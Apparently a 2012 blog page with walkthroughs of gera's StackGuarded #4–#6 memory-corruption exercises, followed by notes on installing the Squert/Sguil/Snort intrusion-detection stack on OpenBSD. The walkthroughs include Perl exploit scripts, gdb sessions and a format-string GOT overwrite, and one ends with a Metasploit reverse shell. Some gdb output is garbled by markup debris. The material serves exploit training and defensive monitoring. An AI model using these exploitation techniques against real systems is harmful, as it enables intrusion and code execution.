Sunday, September 9, 2012

StackGuarded #6

gera's StackGuarded #6.
/* sg6.c                                                   *
 * specially crafted to feed your brain by gera@corest.com */

// XXX: Add real encryption here
#define decrypt(dest,src)     strcpy(dest,src)  

int get_username(char *user) {
        char temp[80];

        decrypt(temp,user);

        return strdup(temp);
}

int main(int argv, char **argc) {
    char *user_name;

    user_name = get_username(argc[1]);
    printf("User name is '%s'\n",user_name);
    return 0;
}
Same caveats.
The overview for this exploit is to use the buffer overflow in get_username() to control main()'s ebp and user_name variable. ebp is adjusted so that user_name will point to printf()'s GOT entry. On return from get_user(), the GOT entry will be overwritten with a pointer from strdup(). This pointer will point to a jmp statement which, in turn, will jump to shellcode in the environment.
Information gathering.
[dennis@localhost sg6]$ objdump -R sg6 | grep printf
080495ec R_386_JUMP_SLOT   printf

(gdb) x/x &user_name
0xbffffab4:     0x080496e8
(gdb) x/x $ebp - 4
0xbffffab4:     0x080496e8

[dennis@localhost sg6]$ export SG6=`perl sc.pl`
[dennis@localhost sg6]$ gcc -o ev6 ev6.c
[dennis@localhost sg6]$ ./ev6 `perl -e 'print "A" x 79'`
SG6 is at 0xbffffc52
The following was determined: printf()'s GOT entry, user_name's relative offset from ebp, location of the shellcode in the environment. argv1.pl looks like this.
#!/usr/bin/perl

use warnings;
use strict;

my $nop = "\x90" x 3;
# jmp from strdup buf to SG6 env var, bruteforce calculated
my $jmp = "\xe9\x62\x65\xfb\xb7";
my $filler = "\x90" x (79 - length($nop) - length($jmp));
my $argv1 = $nop.$jmp.$filler;
This will overflow get_username()'s buffer into main()'s saved ebp allowing complete control. The $jmp is a jmp statement to get from the heap (from strdup()) to the shellcode in the environment (on the stack.) Exploit.
(gdb) break 11
Breakpoint 1 at 0x80484e5: file sg6.c, line 11.
(gdb) break 19
Breakpoint 2 at 0x8048511: file sg6.c, line 19.
(gdb) run `perl argv1.pl`
Starting program: /home/dennis/sg6/sg6 `perl argv1.pl`

Breakpoint 1, get_username (
    user=0xbffffba9 "\220\220\220ébeû·", 'A' ) at sg6.c:12
12              return strdup(temp);
(gdb) info frame
Stack level 0, frame at 0xbffffa28:
 eip = 0x80484e5 in get_username (sg6.c:12); saved eip 0x804850b
 called by frame at 0xbffffa38
 source language c.
 Arglist at 0xbffffa28, args:
    user=0xbffffba9 "\220\220\220ébeû·", 'A' 
 Locals at 0xbffffa28, Previous frame's sp is 0x0
 Saved registers:
  ebp at 0xbffffa28, eip at 0xbffffa2c
(gdb) set {int}0xbffffa28 = 0x080495ec + 4 <-- 0x080495ec="" 0x80495ec="" 19="" 2="" argc="0x1)" argv="0," at="" breakpoint="" c="" continuing.="" ebp="" entry="" gdb="" got="" is="" main="" manually="" mimic="" n="" name="" overwrite="" printf="" s="" ser="" sg6.c:19="" user_name="" x="">:   0x080496e8 <-- 0x80496e8:="" 0x80496e9:="" 0x80496ea:="" 0x80496eb:="" 0xbffffc52="" gdb="" i="" in="" jmp="" nop="" pre="" sg6="" shellcode="" user_name="" x="">


StackGuarded #5

gera's StackGuarded #5.
/* sg5.c                                                   *
 * specially crafted to feed your brain by gera@corest.com */

int need_to_check = 1;  // XXX: Add global configuration

// XXX: Add real encryption here
#define decrypt(dest,src)     strcpy(dest,src)

int check(char *user) {
        char temp[80];

        decrypt(temp,user);

        // XXX: add some real checks in the future
        return !strcmp(temp,"gera");
}

int main(int argv, char **argc) {
    int user_ok;

    user_ok = check(argc[1]);
    if (!user_ok && need_to_check) {
        printf("fail !\n");
        exit(1);
    }
    printf("win !\n");
    exit(0);
}
Same caveats as #4. I also added two printf()s to visualize win/fail.
I don't believe you can get code execution here, but you can "win" with an incorrect password. The quick overview is to use the buffer overflow in check() to control main()'s ebp pointer. With this control comes control of the user_ok variable. This variable just needs to be set to 1 for a win.
Information gathering.
(gdb) x/x &need_to_check
0x804962c :      0x00000001

(gdb) x/x &user_ok
0xbffffb04:     0x00000000
(gdb) x/x $ebp - 4
0xbffffb04:     0x00000000
need_to_check is out in data land and has a value of 1. user_ok is on main()'s stack frame and it is 4 away from main()'s ebp. Exploit.
(gdb) break 22
Breakpoint 1 at 0x804855b: file sg5.c, line 22.
(gdb) run `perl -e 'print "A" x 80'`
Starting program: /home/dennis/sg5/sg5 `perl -e 'print "A" x 80'`

Breakpoint 1, main (argv=24641422, argc=0xbffffad0) at sg5.c:22
22          if (!user_ok && need_to_check) {
(gdb) x/x &user_ok
0xbffff9fc:     0x00000000 

(gdb) set $ebp = 0x0804962c + 4
(gdb) x/x &user_ok
0x804962c :      0x00000001
(gdb) c
Continuing.
win !

Program exited normally.
I overflow check()'s buffer into main()'s saved ebp (remember above caveats). On return, user_ok is set to 0 and on its way to a "fail". But, if main()'s ebp is overwritten so that it points 4 bytes away from need_to_check, user_ok (ebp - 4) will actually point to need_to_check, which happens to be 1 and victory is in hand!

Saturday, September 8, 2012

StackGuarded #4

gera's StackGuarded #4.
/* sg4.c                                                   *
 * specially crafted to feed your brain by gera@corest.com */

// XXX: Add real encryption here
#define decrypt(dest,src)     strcpy(dest,src)  

int check(char *user) {
        char temp[80];

        decrypt(temp,user);

        // XXX: add some real checks in the future
        return !strcmp(temp,"gera");
}

// XXX: Add real support for internationalization
#define LANG_MSG(dest,pattern) strcpy(dest,pattern);

int main(int argv, char **argc) {
    char msg[100];

    LANG_MSG(msg,"Get out of here!\n");
    if (!check(argc[1])) {
            printf(msg);
            exit(1);
    }
    exit(0);
}
There are a few more caveats here. First, I believe that when gera wrote this challenge, StackGuard was using its terminator canary, which looks like "\x00\x0a\xff\x0d", by default. The idea is that these four characters should terminate any string handling function (gets(), strcpy(), etc.) prematurely. This means that the canary can still be overwritten, but the string would terminate before it got to the saved EIP.
Second, since I don't have access to a proper StackGuard box, I have to fake it by manually setting ebp in main(). With that said, main()'s ebp is fully controllable due to the buffer overflow.
Starting program: /home/dennis/sg4/sg4 `perl -e 'print "A" x 84'`

Breakpoint 7, check (user=0xbffffba4 'A' ) at sg4.c:14
14      }
(gdb) info frame
Stack level 0, frame at 0xbffff9bc:
 eip = 0x804853b in check (sg4.c:14); saved eip 0x8048500
 called by frame at 0x41414141
 source language c.
 Arglist at 0xbffff9bc, args: user=0xbffffba4 'A' 
 Locals at 0xbffff9bc, Previous frame's sp is 0x0
 Saved registers:
  ebp at 0xbffff9bc, eip at 0xbffff9c0
(gdb) x/x 0xbffff9bc
0xbffff9bc:     0x41414141 <-- 0x08048500="" 0xbffff9c0:="" a="" canary="" ebp="" gdb="" is="" main="" pre="" pretend="" s="" saved="" terminator="" this="">

The gist of this exploit is to use the buffer overflow in check() to move main()'s ebp pointer, to control the msg variable. msg will point to a format string crafted in argv[2] allowing a write 4 bytes to any address primitive.
To start, I stick some shellcode into an environment variable and get its address. Stack spacing/alignment is important so I duplicate the exploit's arguments. 


[dennis@localhost sg4]$ export SG4=`perl sc.pl`
[dennis@localhost sg4]$ ./ev4 `perl argv1.pl` `perl argv2.pl`
SG4 is at 0xbffffc52
I'll also need exit()'s GOT address.
[dennis@localhost sg4]$ objdump -R sg4 | grep exit
08049658 R_386_JUMP_SLOT   exit
Here is argv1.pl
#!/usr/bin/perl

use warnings;
use strict;

my $filler1 = "A" x 1;
#my $exit_addr1 = "BBBB";
my $exit_addr1 = "\x58\x96\x04\x08";
#my $exit_addr2 = "CCCC";
my $exit_addr2 = "\x5a\x96\x04\x08";
my $filler2 = "A" x (80 - length($filler1) - length($exit_addr1) - length($exit_
addr2));
my $argv1 = $filler1.$exit_addr1.$exit_addr2.$filler2;
print $argv1;
argv1 overflows the buffer in check(). Note, without caveat number two, this would overwrite the saved ebp with an address that points to the format string in argv[2] (next.) In the beginning of this buffer, I place addresses that point to the low and high bytes of exit()'s GOT entry. argv2.pl contains the format string and it looks like this
#!/usr/bin/perl

use warnings;
use strict;

my $format = "%.64594u%124\$n%.50093u%125\$n";
my $filler3 = "C" x (100 - length($format));
my $argv2 = $format.$filler3;

print $argv2;
So that offsets didn't change during the development of the format string, I used $filler3 to setup a static "buffer" to work in. Remembering that the shellcode is at 0xbffffc52 the precision values for the %u modifiers are calculated like this
(gdb) print /d 0xfc52
$1 = 64594
(gdb) print /d 0x1bfff - 64594
$2 = 50093
The direct argument offsets, 124 and 125, point to the two exit() addresses from argv[1]. They were bruteforce calculated in gdb
(gdb) x/x $esp + (125 * 4) 
0xbffffb44:     0x08049658
(gdb) x/x $esp + (124 * 4)
0xbffffb48:     0x0804965a
With this setup, the printf(msg) call turns into
printf("%.64594u%124\$n%.50093u%125\$n", junk1, exit_addr1, junk2, exit_addr2)
junk1 and junk2 are taken off the real stack, whereas the two exit_addrs are taken from argv[1]. Exploit.
In the below exploit, ebp is set like
set $ebp = 0xbffffb94 + 112
0xbffffb94 is the start of argv[2], which was bruteforce calculated in gdb. 112 is the offset msg is from ebp.
(gdb) break 24
Breakpoint 6 at 0x804856d: file sg4.c, line 24.
(gdb) run `perl argv1.pl` `perl argv2.pl`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/dennis/sg4/sg4 `perl argv1.pl` `perl argv2.pl`

Breakpoint 6, main (argv=1094795585, argc=0x41414141) at sg4.c:24
24                  printf(msg);
(gdb) set $ebp = 0xbffffb94 + 112 <-- 0xbffffb94:="" 2="" 72="" caveat="" ebp.="" gdb="" manually="" msg="" n="" repeats="" s="" set="" times="" u="" x="">
(gdb) c

...

000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000544503
151C
Program received signal SIGTRAP, Trace/breakpoint trap.
0x40001e60 in _start () at rtld.c:158
158     rtld.c: No such file or directory.
        in rtld.c
(gdb) fg
Continuing.

msf  exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.4:4444 
[*] Starting the payload handler...
[*] Command shell session 4 opened (192.168.0.4:4444 -> 192.168.0.32:50115) at 2012-09-08 23:19:05 -0500

id
uid=500(dennis) gid=500(dennis) groups=500(dennis)
pwd
/home/dennis/sg4
^C





Wednesday, September 5, 2012

Squert on OpenBSD

For Paul.

So that I can do it again with less hate and alcohol, these are my notes on installing Squert on OpenBSD 5.1. There is room for improvement, feedback welcomed.

Snort

$ sudo pkg_add snort-2.8.6p1

You don't need the mysql flavor.

$ ftp http://rules.emergingthreats.net/open/snort-2.8.6/emerging.rules.tar.gz
$ tar -zxvf emerging.rules.tar.gz
$ cd rules/
$ ls emerging*.rules | awk '{print "include $RULE_PATH/`hostname -s`" $1}' > $ emerging.conf
$ sudo mkdir /etc/snort/rules/`hostname -s`
$ sudo cp emerging-*.rules /etc/snort/rules/`hostname -s`/
$ sudo cp emerging.conf /etc/snort/
$ sudo cp sid-msg.map /etc/snort/
$ sudo cp classification.config /etc/snort/
$ sudo cp reference.config /etc/snort/
$ cd /var/snort/
$ sudo rmdir log
$ sudo mkdir `hostname -s`
$ sudo chown _snort:_snort `hostname -s`/

The following edits should be made to /etc/snort/snort.conf

var HOME_NET external_ip/32
var EXTERNAL_NET !$HOME_NET
include emerging.conf
Comment out the VRT includes

Everything can be tested with

$ sudo /usr/local/bin/snort -c /etc/snort/snort.conf -u _snort -g _snort -t /var/snort -l /var/snort/`hostname -s`/


/etc/rc.d/snort should be created like

#!/bin/sh

daemon="/usr/local/bin/snort"

. /etc/rc.d/rc.subr

rc_cmd $1

/etc/rc.conf.local should be edited

snort_flags="-c /etc/snort/snort.conf -u _snort -g _snort -t /var/snort -l /var/
snort/`hostname -s` -D"

pkg_scripts="snort"

MySQL

$ sudo pkg_add mysql-server
$ sudo /usr/local/bin/mysql_install_db
$ sudo /etc/rc.d/mysqld start
$ mysqladmin -u root password 'oursecret'

Update /etc/rc.conf.local

pkg_scripts="snort mysqld"

Sguil Server

Tcl

$ cd /usr/ports/lang/tcl/8.5/
$ sudo make install
$ sudo ln -s /usr/local/bin/tclsh8.5 /usr/local/bin/tclsh

TclX

Download from http://tclx.sourceforge.net.

$ sudo pkg_add bzip2
$ bunzip2 tclx8.4.tar.bz2
$ tar -xvf tclx8.4.tar
$ cd tclx8.4
$ ./configure --with-tcl=/usr/local/lib/tcl/tcl8.5/ --enable-tk=NO
$ make
$ sudo make install
$ sudo ln -s /usr/local/lib/tclx8.4/ /usr/local/lib/tcl/tclx

The following test should return a version number

$ tclsh
% package require Tclx

mysqltcl

Download from http://www.xdobry.de/mysqltcl/.

$ tar -zxvf mysqltcl-3.051.tar.gz
$ cd mysqltcl-3.051
$ sudo ln -s /usr/local/lib/mysql/libmysqlclient.so.21.0 /usr/local/lib/mysql /libmysqlclient.so
$ ./configure --with-tcl=/usr/local/lib/tcl/tcl8.5/ --with-mysql-include=/usr/local/include/mysql/ --with-mysql-lib=/usr/local/lib/mysql/
$ make
$ sudo make install
$ sudo ln -s /usr/local/lib/mysqltcl-3.051/ /usr/local/lib/tcl/


The following test should return a version number

$ tclsh
%package require mysqltcl

Tcllib

$ sudo pkg_add tcllib

Tcltls

$ sudo pkg_add tcltls
$ openssl req -out CA.pem -new -x509
$ openssl genrsa -out sguild.key 1024
$ openssl req -key sguild.key -new -out sguild.req
$ echo 1 > file.sr1
$ openssl x509 -req -in sguild.req -CA CA.pem -CAkey privkey.pem -CAserial file.sr1 -out sguild.pem
$ sudo mkdir -p /etc/sguild/certs
$ sudo mv sguild.key sguild.pem /etc/sguild/certs/

Sguild

$ tar -zxvf sguil-0.8.0.tar.gz
$ cd sguil-0.8.0/server
$ sudo cp sguild.conf sguild.users sguild.queries sguild.access autocat.conf /etc/sguild/
$ sudo cp sguild /usr/local/bin/
$ sudo cp -r lib/ /usr/local/lib/
$ cd /var/log/sguild
$ sudo chown _snort:_snort *
$ cd sguil-0.8.0/server/sql_scripts/
$ mysql -u root -p -e 'create database sguildb'
$ mysql -u root -p -e 'grant all privileges on sguildb.* to sguil@localhost identified by "oursecret"'
$ mysql -u root -p -D sguildb < create_sguildb.sql

Adjust /etc/sguild/sguild.conf

set USER _snort
set GROUP _snort
set SGUILD_LIB_PATH /usr/local/lib/lib/
set DEBUG 1
set DAEMON 1
set RULESDIR /etc/snort/rules
set TMP_LOAD_DIR /var/snort/load
set DBPASS "oursecret"
set DBUSER sguil
#set LOCAL_LOG_DIR /var/snort/archive
set TMP_LOAD_DIR /var/snort/`hostname -s`/load
set P0F 0

Everything can be tested with

$ sudo /usr/local/bin/sguild

/etc/rc.d/sguild should be created

#!/bin/sh

daemon="/usr/local/bin/sguild"

. /etc/rc.d/rc.subr

rc_cmd $1

And /etc/rc.conf.local adjusted

sguild_flags=""
pkg_scripts="snort mysqld sguild"

Sguil Sensor

Edit /etc/snort/snort.conf

output log_unified: filename snort.log_unified, limit 128

snort_agent.tcl

$ sudo cp snort_agent.conf /etc/sguild
$ sudo cp snort_agent.tcl /usr/local/bin/

Edit /etc/sguild/snort_agent.conf

set DEBUG 1
set DAEMON 1
set HOSTNAME  `hostname -s`
set NET_GROUP external
set LOG_DIR /var/snort
set SNORT_PERF_STATS 0

Test with

$ sudo /usr/local/bin/snort_agent.tcl -c /etc/sguild/snort_agent.tcl

Create /etc/rc.d/snort_agent

#!/bin/sh

daemon="/usr/local/bin/snort_agent.tcl"

. /etc/rc.d/rc.subr

rc_cmd $1

Adjust /etc/rc.local.conf

snort_agent_flags="-c /etc/sguild/snort_agent.conf"
pkg_scripts="snort mysqld snort_agent sguild"

Barnyard

Download from http://www.snort.org/snort-downloads/additional-downloads/#barnyard

$ tar -zxvf barnyard-0.2.0.tar.gz
$ cd sguil-0.8.0/sensor/barnyard_mods/
$ cp configure.in ~/barnyard-0.2.0
$ cp op_* ~/barnyard-0.2.0/src/output-plugins/
$ cd ~/barnyard-0.2.0/src/output-plugins
$ patch op_plugbase.c < op_plugbase.c.patch

XXX This party is real icky

$ sudo pkg_add autoconf-2.68

Add AUTOCONF_VERSION=2.68 to autojunk.sh

$ export AUTOCONF_VERSION=2.68
$ ./autojunk.sh
$ ./configure --enable-tcl --with-tcl=/usr/local/lib/tcl/tcl8.5
$ make
$ sudo make install
$ sudo mkdir /etc/barnyard
$ sudo cp etc/barnyard.conf /etc/barnyard

Edit /etc/barnyard/barnyard.conf

config daemon
config hostname: `hostname -s`
config interface: `interface_name`
#config filter: not port 22`
output sguil

Comment out non-sguil outputs

Test barnyard with

sudo /usr/local/bin/barnyard -c /etc/barnyard/barnyard.conf -d /var/snort/`hostname -s`/ -f snort.log_unified -g /etc/snort/gen-msg.map -s /etc/snort/sid-msg.map -p /etc/snort/classification.config  -w /etc/barnyard/waldo.file

Create /etc/rc.d/barnyard

#!/bin/sh

daemon="/usr/local/bin/barnyard"

. /etc/rc.d/rc.subr

rc_cmd $1

Edit /etc/rc.conf.local

barnyard_flags="-c /etc/barnyard/barnyard.conf -d /var/snort/`hostname -s` -f snort.log_unified -g /etc/snort/gen-msg.map -s /etc/snort-sid-msg.map -w /etc/barnyard/waldo.file"

pkg_scripts="snort mysqld sguild snort_agent barnyard"

Squert

PHP

Make sure you have xbase installed.

$ sudo pkg_add php-5.3.10
$ sudo ln -s /var/www/conf/modules.sample/php-5.3.conf /var/www/conf/modules/php.conf
$ sudo pkg_add php-mysql-5.3.10
$ sudo ln -s /etc/php-5.3.sample/mysql.ini /etc/php-5.3/mysql.ini
$ sudo pkg_add php-gd-5.3.10
$ sudo ln -s /etc/php-5.3.sample/gd.ini /etc/php-5.3/gd.ini

pecl-stats

$ sudo pkg_add pear
$ sudo ln -s /usr/local/bin/phpize-5.3 /usr/local/bin/phpize
$ sudo ln -s /usr/local/bin/php-config-5.3 /usr/local/bin/php-config

XXX More icky

su to root
# AUTOCONF_VERSION=2.68 pecl install stats

Graphviz

$ sudo pkg_add graphviz

Squert

Download tar.gz from https://github.com/int13h/squert/downloads.

$ tar -zxvf int13h-squert-v0.9.4-61-g4706b38.tar.gz
$ mv int13h-squert-4706b38/ squert
$ sudo mv squert/ /var/www/htdocs/
$ cd /var/www/htdocs/squert/.inc
$ sudo cp config.php.sample config.php
$ cd ../.scripts
$ mysql -u root -p -D sguildb < squert.sql
$ mysql -u root -p -D sguildb < v0.8.sql

Edit config.php

$dbHost = 'localhost';
$dbName = 'sguildb';
$dbUser = 'sguil';
$dbPass = 'oursecret';
$rulePath = "/etc/snort/rules/`hostname -s`";
$dns = "localhost";

Add to the client section of /etc/my.cnf

local-infile    = 1

$ sudo ./ip2c.tcl

Add to root's crontab

*/5     *       *       *       *       /usr/local/bin/php -e /usr/local/www/squ
ert/.inc/ip2c.php1 > /dev/null 2>&1

Add to /etc/sguild/autocat.conf
none||ANY||ANY||ANY||ANY||ANY||ANY||%%REGEXP%%INAPPROPRIATE||15
none||ANY||ANY||ANY||ANY||ANY||ANY||%%REGEXP%%USER_AGENTS||15
none||ANY||ANY||ANY||ANY||ANY||ANY||%%REGEXP%%POLICY||15
none||ANY||ANY||ANY||ANY||ANY||ANY||%%REGEXP%%P2P||15
none||ANY||ANY||ANY||ANY||ANY||ANY||%%REGEXP%%SCAN||16
none||ANY||ANY||ANY||ANY||ANY||ANY||%%REGEXP%%RBN||17
none||ANY||ANY||ANY||ANY||ANY||ANY||%%REGEXP%%MALWARE||17
none||ANY||ANY||ANY||ANY||ANY||ANY||%%REGEXP%%CURRENT_EVENTS||17
none||ANY||ANY||ANY||ANY||ANY||ANY||%%REGEXP%%TROJAN||17
none||ANY||ANY||ANY||ANY||ANY||ANY||%%REGEXP%%Ping||16
none||ANY||ANY||ANY||ANY||ANY||ANY||%%REGEXP%%SNMP||16